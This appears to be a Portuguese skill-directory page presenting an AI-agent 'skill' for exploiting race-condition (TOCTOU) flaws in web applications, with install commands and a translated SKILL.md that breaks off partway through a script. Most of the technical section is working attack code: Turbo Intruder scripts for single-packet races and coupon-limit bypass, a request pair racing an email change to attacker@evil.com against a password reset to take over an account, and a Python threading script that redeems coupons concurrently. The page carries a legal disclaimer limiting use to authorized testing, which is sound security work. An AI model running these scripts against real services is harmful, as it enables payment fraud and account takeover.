Pular para o conteúdo
Skillpedia
Diversos35 mil · #5757

exploiting-race-condition-vulnerabilities

Faz seu agente detectar e explorar vulnerabilidades de condição de corrida (TOCTOU) em aplicações web.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas de segurança em sites onde ações rápidas e simultâneas podem enganar o sistema. Ela permite que você envie muitas solicitações ao mesmo tempo para ver se consegue fazer algo mais de uma vez, como usar um cupom várias vezes.

Quando usar

  • ✓Ao testar sistemas de pagamento ou cupons.
  • ✓Quando um site limita quantas vezes você pode fazer algo.
  • ✓Ao verificar processos de várias etapas, como troca de e-mail.

Exemplo do que pedir para a IA

“Teste se consigo usar este cupom mais de uma vez enviando muitas solicitações ao mesmo tempo.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-race-condition-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-race-condition-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

Ela usa uma ferramenta chamada Turbo Intruder para enviar várias solicitações de uma vez. Isso é feito de forma muito rápida para tentar explorar um pequeno atraso entre a verificação e a ação dentro do sistema.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-race-condition-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-race-condition-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Vulnerabilidades de Condição de Corrida

Quando Usar

  • Ao testar aplicações com funcionalidades baseadas em transações (pagamentos, transferências, cupons)
  • Durante a avaliação de mecanismos de limitação de taxa ou de tentativas
  • Ao testar fluxos de trabalho de várias etapas (cadastro, redefinição de senha, MFA)
  • Durante a caça a bugs por falhas lógicas em operações que alteram o estado
  • Ao avaliar aplicações com sistemas de gerenciamento de inventário ou saldo

Pré-requisitos

  • Burp Suite Professional com a extensão Turbo Intruder instalada
  • Compreensão da técnica de ataque de pacote único HTTP/2
  • Habilidade de scripting em Python para scripts personalizados do Turbo Intruder
  • Conhecimento de vulnerabilidades TOCTOU (Time-of-Check-to-Time-of-Use)
  • Aplicação alvo com operações que alteram o estado (compras, votos, transferências)
  • Múltiplas contas de usuário para testar condições de corrida entre usuários

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Etapa 1 — Identificar a Superfície de Ataque de Condição de Corrida

# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines

# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)

Etapa 2 — Configurar o Ataque de Pacote Único no Turbo Intruder

# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Queue 20 identical requests for the same operation
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # Hold all requests until ready
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Etapa 3 — Executar o Ataque de Limite Excedido

# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=50,
                          engine=Engine.BURP2)

    # Send 50 coupon redemption requests simultaneously
    for i in range(50):
        engine.queue(target.req, gate='coupon_race')

    engine.openGate('coupon_race')

def handleResponse(req, interesting):
    # Flag successful redemptions (200 OK)
    if req.status == 200:
        table.add(req)

Etapa 4 — Explorar Condições de Corrida Multi-Endpoint

# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Request 1: Change email to attacker@evil.com
    email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json

{"email":"attacker@evil.com"}'''

    # Request 2: Trigger password reset (goes to original email)
    password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json

{"email":"victim@target.com"}'''

    engine.queue(email_change, gate='race1')
    engine.queue(password_reset, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Etapa 5 — Testar com Alternativa de Threading em Python

import threading
import requests

TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"

def send_request():
    response = requests.post(
        TARGET_URL,
        json={"coupon": COUPON_CODE},
        headers={"Cookie": SESSION_COOKIE},
        timeout=10
    )
    print(f"Status: {response.status_code}, Response: {response.text[:100]}")

# Criar barreira para sincronizar o início das threads
barrier = threading.Barrier(20)

def synchronized_request():

…
Perguntas frequentes

O que é uma 'condição de corrida'?

É uma falha onde o resultado depende da ordem exata em que eventos acontecem. Se você puder fazer duas coisas acontecerem quase ao mesmo tempo, pode enganar o sistema.

O que é o 'Single-Packet Attack'?

É uma técnica que envia várias solicitações em um único pacote de rede. Isso garante que elas cheguem ao servidor quase exatamente no mesmo instante.

Posso usar isso em qualquer site?

Não, esta ferramenta é para testes de segurança autorizados em sistemas que você tem permissão para testar. Usá-la em sistemas sem permissão é ilegal.

Detalhes

Descrição original do autor

Detects and exploits race condition (TOCTOU) vulnerabilities in web applications using Burp Suite's Turbo Intruder extension and its single-packet attack technique to fire parallel requests that bypass rate limits, duplicate transactions, or overrun usage limits. Use when pentesting endpoints with balances, coupon redemption, or rate limiting that concurrent requests might manipulate.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5757
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas